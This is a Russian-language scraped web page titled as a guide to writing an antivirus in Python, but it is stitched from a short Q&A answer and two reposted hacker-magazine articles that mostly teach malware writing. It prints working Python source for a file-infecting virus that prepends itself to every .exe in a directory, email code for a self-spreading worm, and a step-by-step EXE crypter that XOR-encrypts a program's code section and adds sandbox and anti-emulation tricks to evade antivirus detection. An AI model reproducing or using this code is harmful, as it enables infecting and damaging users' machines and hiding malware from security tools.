Меню Рубрики

Как написать сетевой антивирус самому на python

Можно ли написать антивирус на python?

1. Теоретически, антивирус написать можно. Но для более-менее вменяемого антивируса нужны производительность и доступ к более низкоуровневым вещам, чем Python позволяет из коробки.

Многие библиотеки Python — это обёртки над библиотеками на C/C++. А в коде на C/C++ вообще могут использоваться ассемблерные вставки. В этом смысле, в Python можно прокинуть вызов любого низкоуровневого кода.

Всё, что необходимо для написания антивируса давно должно иметь свободную реализацию на C/C++ и лежать в открытом доступе. Многое уже может иметь обёртки или биндинги для Python, а что не имеет — так со знанием C/C++ их можно сделать.

Конечная программа на Python может полностью полагаться на скомпилированный Си-шный код, так что производительность будет не намного ниже, а возможности те же.

Основные недостатки разработки настольных программ на Python:

  • трудно скрыть исходники от любопытных;
  • не очень удобно собирать и распространять под разные ОС;
  • для низкоуровневых вещей и/или высокой производительности может потребоваться знание C/C++.

2. Для специалиста по информационной безопасности, Python — несущественный язык программирования.

Специалист по информационной безопасности должен знать низкоуровневые языки — ассемблер и Си.

Помимо этого, полезно знать:

  • архитектуру ЭВМ (особенно, как работает процессор и оперативная память — тема пересекается со знанием ассемблера),
  • архитектуру операционных систем (близко к архитектуре ЭВМ, но тема больше пересекается с языками программирования C/C++),
  • технологии компьютерных сетей,
  • алгоритмизацию,
  • криптографию.

Источник статьи: http://qna.habr.com/q/485069

Вирус на Python: Изучаем возможности полноценного злокодинга на интерпретируемом языке

Содержание статьи

Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…

Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.

Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.

Вирусы-компаньоны более гуманны к исполняемым файлам, которые они «заражают». Слово «заражают» я специально взял в кавычки, так как на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный экзешник переименовывают (а могут и зашифровать — прим. ред.) во что-нибудь другое. Таким образом, они подменяют пользовательский софт своими копиями, а для большей маскировки запускают оригинальную программу из файла с новым именем. И пользователь доволен, и вирус остался жив. HLLP являются самыми продвинутыми из ЯВУ-вирусов. Они внедряются непосредственно в файл-жертву, сохраняя при этом работоспособность оригинального кода. Из-за особенностей высокоуровневых языков программирования полноценного инжекта, как у «взрослых» вирусов на ассемблере, добиться очень сложно. Поэтому паразиты получаются не слишком элегантными созданиями, но, к сожалению, это практически потолок того, что можно выжать из ЯВУ.

В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.

Существует много вариаций на тему HLLP-зловредов, но мы реализуем самую простую из них. Вирус будет писать в начало файлажертвы свое собственное тело — целиком, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. То есть, сначала будет выполняться вирус, который в конце своего черного дела запустит оригинальную программу, чтобы лишний раз не вызывать подозрения у пользователя. По традиции взглянем на код:

Код HLLP-вируса

import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir(‘.’);
fvir = open(sys.argv[0], ‘rb’);
virData = fvir.read(19456);
for name in names:

namePair = os.path.splitext(name);
if namePair[1] == ‘.exe’ and
name != virPath[1]:

os.rename(name, name + ‘tmp’);
fprog = open(name + ‘tmp’, ‘rb’);
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + ‘tmp’);
origProgData = fvir.read();
origProg = ‘original_’ + virPath[1];
forig = open(origProg, ‘wb’);
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ‘ ‘);

Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.

После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir(‘.’) получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:

а перед этим выполняется команда

Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+’tmp’).

Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.

Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.

Главное для нас — продемонстрировать принцип работы.

Сетевой червь

Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.

Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.

Для начала давай посмотрим, как с помощью Python отправить письмо. Небольшой примерчик, от которого мы будем отталкиваться в дальнейшем:

Отправка письма

import smtplib
from email.mime.text import MIMEText
msg = MIMEText(‘Message text’)
# me == email отправителя
# you == email получателя
msg[‘Subject’] = ‘Test message’
msg[‘From’] = me
msg[‘To’] = you
s = smtplib.SMTP(»)
s.sendmail(me, [you], msg.as_string())
s.quit()

Здесь мы используем библиотеку smtplib и входящий в нее пакет MIMEText. Код настолько прост, что не требует особых разъяснений. Единственное, на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если для отправки сообщения требуется ввести логин и пароль, то придется вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо приаттачить его к письму. Для этого придется импортировать еще пару дополнительных библиотек и написать немного кода.
Будет это выглядеть примерно так:

Отправка письма с вложением

import smtplib
import mimetypes
from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
outer = MIMEMultipart()
# me == email отправителя
# you == email получателя
outer[‘Subject’] = ‘Test message’
outer[‘From’] = me
outer[‘To’] = you
ctype, encoding = mimetypes.guess_type(path_to_file)
if ctype is None or encoding is not None:
ctype = ‘application/octet-stream’
maintype, subtype = ctype.split(‘/’, 1)
fp = open(path_to_file, ‘rb’)
msg = MIMEBase(maintype, subtype)
msg.set_payload(fp.read())
fp.close()
encoders.encode_base64(msg)
msg.add_header(‘Content-Disposition’,
‘attachment’, filename=file_name)
outer.attach(msg)
s = smtplib.SMTP(»)
s.sendmail(me, [you], outer.as_string())
s.quit()

В импорте у нас появилась библиотека mimetypes, а также модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart позволяет формировать емайл-сообщение из различных видов данных (текст, картинки и прочее). MIMEBase работает с файлами произвольного типа — например, exe. В качестве основы сообщения мы берем переменную типа MIMEMultipart и добавляем к ней объект MIMEBase, в который предварительно считали и декодировали в base64 содержимое нужного нам файла.

Теперь, когда вирус может сам себя отправлять в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут полет фантазии вирмейкера на питоне ничем не ограничен. Можно, например, поискать адреса на жестком диске, просканировав все имеющиеся на нем файлы. А можно воспользоваться адресной книгой Outlook. Для последнего тебе понадобится пакет Python Win32 Extensions.

Несколько замечаний

Самые сообразительные могут задать один маленький вопрос: «Питон — это скрипты, а exe — бинари. Как скриптом можно заразить исполняемый файл Windows?». Ответ на него очень прост — питоновские скрипты можно конвертировать в exeфайлы. Да-да, и делается это очень легко. Тут я описывать процесс не буду (ты ведь не хочешь, чтобы младшая сестренка, взяв в руки ][, получила бы исчерпывающее руководство по уничтожению твоего же компа :)), так что за подробностями — к Гуглу.

В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().

Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.

Заключение

Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).

Источник статьи: http://xakep.ru/2011/03/13/55980/

Ну, антивирус, погоди! Создаем EXE-криптор на Python’е

Содержание статьи

Web мы спасли от антивирусов несколько месяцев назад. Это было нетрудно — область относительно новая, не освоенная. С исполнимыми же файлами антивирусы борются уже десятилетиями. Побороть EXE-модуль будет сложнее, но… мы справимся :).

Выпуск 1. Ознакомительный

Ты уже знаешь, что я считаю антивирусы абсолютно бесполезными — хотя бы по той причине, что они помогают только от самых примитивных зверьков, которые в условиях современного денежного малварьбизнеса встречаются не так часто. Современные злокодеры, подогретые денежными вливаниями, научились программировать довольно жестко, но есть у них одна маленькая проблема — криптовка — достаточно сложная штука, для написания которой нужны глубокие знания PE-формата, ассемблера и системного программирования. Из-за высокого «входного барьера» в этой области мало профессионалов.

И найти хорошего криптора ой как сложно.

Но решение проблемы есть! Как мы знаем, антивирусные компании обмениваются технической информацией и создают специальные ресурсы, посредством которых мы сами отсылаем им сэмплы (типа VirusTotal’а). Но ведь и вирмейкеры тоже могут обмениваться информацией! Необязательно палить приватные мазы — публичные технологии тоже сгодятся. Например, было бы круто, если бы в каком-то одном месте лежали функции для генерации PE-файла, генерации импорта, шифрования ресурсов, рабочие функции определения SandBox’ов, тогда мы могли бы создавать крипторы так же непринужденно, как домики из кубиков Лего.

Идеальным местом для обмена, наверное, будет GitHub, и туда я залью исходники написанного нами сегодня криптора — он будет доступен по адресу http://github.com/presidentua/ExePacker.

Кроме того, в решении проблемы здорово помогло бы использование высокоуровневых языков программирования. В паблике сейчас валяются исходники крипторов на С++ или VisualBasic’е, но ведь от этого проще не становится, поскольку разобраться в написанном коде — ой как непросто. На Python’е все выглядит в разы лучше, поэтому именно его мы сегодня и будем использовать. В общем, заложим фундамент этой благородной миссии. Присоединяйся!

Выпуск 2. PE-файл

Структура PE-файла довольно сложная, поэтому подробная документация будет ждать тебя на диске, а здесь я представлю твоему вниманию лишь избранные моменты.

PE-файл представляет набор разных служебных структур, связанных между собой, и набор данных, которые размещены в секторах. Загрузчик Windows’a читает структуры, обрабатывает их (например, импортирует DLL’ки) и потом передает управление на инструкцию, указанную в поле «Entry Point».

Теперь посмотрим, что же нужно нам сделать, чтобы изменить файл и при этом не испортить его.

Выпуск 3. Теоретический криптор

Для начала выберем файл, который будет у нас исполнять функции лабораторной мыши. Чтобы сделать приятное Андрюшку :), мы, пожалуй, будем издеваться над Putty.exe. Упрощенно его структура будет выглядеть так:

  1. Служебные данные
  2. Первая кодовая секция
  3. Другие секции с данными

Алгоритм криптора следующий. Создать две ассемблерные программы. Первая будет косить под обычную прогу и проверять, что мы не в эмуляторе, а потом передаст управление на вторую программу. Вторая же восстановит оригинальную структуру файла и передаст управление на оригинальную точку входа Putty. И записать эти программы в файл.

В результате получится следующая структура:

  1. Служебные данные
  2. Первая кодовая секция
    1. Наша первая программа, которая передаст управление на 4.2
    2. Шифрованный код первой секции
  3. Другие секции с данными
  4. Добавленная секция
    1. Часть кодовой секции, перезаписанной программой 2.1
    2. Вторая программа, которая оригинальный код из 4.1 поместит на 2.1, а потом расшифрует кодовую секцию и передаст на нее управление.

Выпуск 4. Практический криптор

Ну наконец-то мы добрались до сердца нашей статьи. Для работы криптора нам понадобится модуль pefile (будем использовать несколько модифицированную версию), и с помощью либы откроем Putty:

import pefile
pe = pefile.PE(«putty.exe»)

Теперь, если ты напишешь «print pe», то увидишь подробную инфу обо всех характеристиках файла, по этой инфе я советую искать нужные для изменения поля в файле. А о внутренней работе модуля обязательно прочитай во врезке. Теперь немного математики. У нас будут две программы, которые нужно внедрить в файл. Они будут занимать где-то по 512 байт каждая максимум. Поэтому для размещения добавим новую секцию в 1024 килобайт вызовом:

Закриптуем первую секцию XOR’ом с ключом «1»:

Магия, правда? :). А теперь прикинь, что все это пришлось бы писать на С++!

Поскольку в начале программы будет наш код, то сохраним оригинальный код, скопировав его в последнюю секцию. Адрес первой секции в файле находится в переменной — pe.sections[0]. PointerToRawData, а последней, соответственно — в pe.sections[-1].PointerToRawData:

pe.data_copy(pe.sections[0].PointerToRawData, pe.sections[-1].PointerToRawData, 512)

Оригинальный код сохранен, и мы приступим к написанию первой программы. Конечно же, писать мы ее будем на ассемблере, используя FASM для компиляции. Создадим файлик pack.tpl.asm с содержанием:

Ты, наверное, уже догадался, что это не готовый исходник, это лишь шаблон для шаблонизатора из TornadoWeb, а его мы уже отлично знаем, ведь именно его мы использовали при написании HTML-морфера. Сгенерируем первую программу:

asm = Template(open(«pack.tpl.asm», «r»).read()).generate(
go=pe.OPTIONAL_HEADER.ImageBase + pe.sections[-1].VirtualAddress+512,
)
with open(«pack.asm», «w») as f:
f.write(asm)
os.system(r»c:fasmwFASM.EXE pack.asm»)

В переменной go мы передаем адрес в памяти, где будет наша вторая программа — то есть, в последней секции, начиная с 512 байта. А в последней строчке компилим результат на FASM’е. Теперь запишем получившийся код в начало первой секции:

new_pack = open(«pack.bin», «rb»).read()
pe.data_replace(offset=pe.sections[0].PointerToRawData, new_data=new_pack)

Вторую программу запишем в файл copy.tpl.asm. Размер у нее более внушительный, поэтому полный код смотри на диске. Там содержится два цикла, один скопирует 512 байт оригинальной программы с последней секции в первую, а второй цикл расшифрует всю первую секцию. После этого передается управление на оригинальную программу.

При компиляции темплейта нужно передать туда параметры для циклов копирования и расшифровки:

copy_from = pe.OPTIONAL_HEADER.ImageBase+pe.sections[-1].VirtualAddress
copy_to = pe.OPTIONAL_HEADER.ImageBase+pe.sections[0].VirtualAddress
oep = pe.OPTIONAL_HEADER.ImageBase+pe.OPTIONAL_HEADER.AddressOfEntryPoint
asm = Template(open(«copy.tpl.asm», «r»).read()).generate( copy_from=copy_from, copy_to=copy_to, copy_len=512, xor_len=pe.sections[0].Misc_VirtualSize, key_encode=1, original_oep=oep,)

Остался маленький штришок — записать вторую прогу в файл и сделать первую секцию записываемой, чтобы расшифровщик не выдавал ошибок, а также установить точку входа на начало первой секции:

new_copy = open(«copy.bin», «rb»).read()
pe.data_replace(offset=pe.sections[-1].PointerToRawData+512, new_data=new_copy)
pe.sections[0].Characteristics |= pefi le.SECTION_CHARACTERISTICS[«IMAGE_SCN_MEM_WRITE»]
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.sections[0].VirtualAddress
pe.write(fi lename=»result.exe»)

Выпуск 5. Завершающий

Если собрать кусочки кода вместе, то будет у нас всего 50 строк. Всего лишь 50 — и криптор готов! А теперь прикинь, сколько строк содержала бы программа на С? Конечно, это еще далеко не готовый продукт, над ним нужно работать и работать. Чтобы довести систему до реального криптора, нужно добавить как минимум шифрование ресурсов и импорта, а также антиэмуляцию. О том как теоретически эти проблемы решить, смотри во врезках. Удачи!

Желательный функционал 1. Обход песочниц

В крипторе нужно делать проверки на запуск в виртуальной машине, SandBox’е или анализаторе типа анубиса. Чтобы их зедетектить, нужно провести небольшое исследование и написать программу, которая будет на экран выводить разные внутренние параметры системы, а дальше — проверить этот файл на том же анубисе и в скриншоте посмотреть параметры, которые показала наша прога. Дальше все просто — при запуске на системе с подобными параметрами — просто уходим в цикл.

Обязательный функционал 2. Шифрование ресурсов и импорта

Для шифрования ресурсов мы должны пройтись по секции ресурсов и сохранить оттуда важные для запуска файла — иконки и манифест. Дальше создаем новые ресурсы с важными ресурсами, а остальное шифруем. После запуска криптора восстанавливаем все обратно.

Несколько сложнее получается с импортом, ведь его также нужно сначала зашифровать, потом сгенерировать липовый импорт, но после восстановления импорт еще нужно вручную проинициализировать, то есть — загрузить DLL’ки и сохранить в таблицу импорта реальные указатели на функции.

Обязательный функционал 1. АнтиЭмуляция

Кроме избавления от внешних сигнатур, очень важно, чтобы антивирус в своем эмуляторе не добрался до исходного файла. Для этого нужна антиэмуляция. Раньше были очень популярны приемы, основанные на предположении, что эмулятор не понимает все инструкции процессора. Сейчас же ситуация изменилась, и самые эффективные приемы основаны на использовании Windows API. Согласись, что антивирус вряд ли сможет эмулировать все API.

Вот тебе такая идейка для реализации:

  • создаем Windows-приложение и один дополнительный поток;
  • после создания потока он должен послать через API сообщение основному потоку с каким-то ключом;
  • в главной программе проверяем, и если ключ правильный — передаем управление на код расшифровки основного файла;
  • если код неправильный, то просто ничего не делаем и находимся в вечном цикле получения сообщений от Windows.

PS:Никогда не останавливай программу с ошибкой, это лишь прибавит криптору лишний вес. Вечный цикл получения сообщений от Windows — лучший способ.

Внутренности Антивирусов

В упрощенном виде, антивирус — это набор правил (сигнатур) и система, которая проверяет файл по этим правилам.

К примеру, пусть в антивирусе будут такие сигнатуры:

  • секция с кодом, записываемая +10;
  • после запуска прописывается в авторан +30;
  • вторая секция с именем Zeus +30;
  • меньше 4 энтропия кодовой секции +20;
  • есть сертификат от майкрософта -10.

Дальше антивирь проверяет те правила, которые возможно проверить без запуска EXE, потом в эмуляторе запускает файл и проверяет все остальные правила. А после этого подсчитывает сумму, если она больше 100, значит вирус, если меньше — значит не вирус.

Как работает pefile

При загрузке в pefile экзэхи, библиотека сохраняет сам файл в pe.data, а потом обрабатывает его и создает массив структур pe.structures. Структура — это объект, у которого есть адрес. Адрес, по которому она находится в файле, и есть набор полей.

Источник статьи: http://xakep.ru/2011/07/04/57584/


0 0 голоса
Article Rating
Подписаться
Уведомить о
guest

0 Комментарий
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии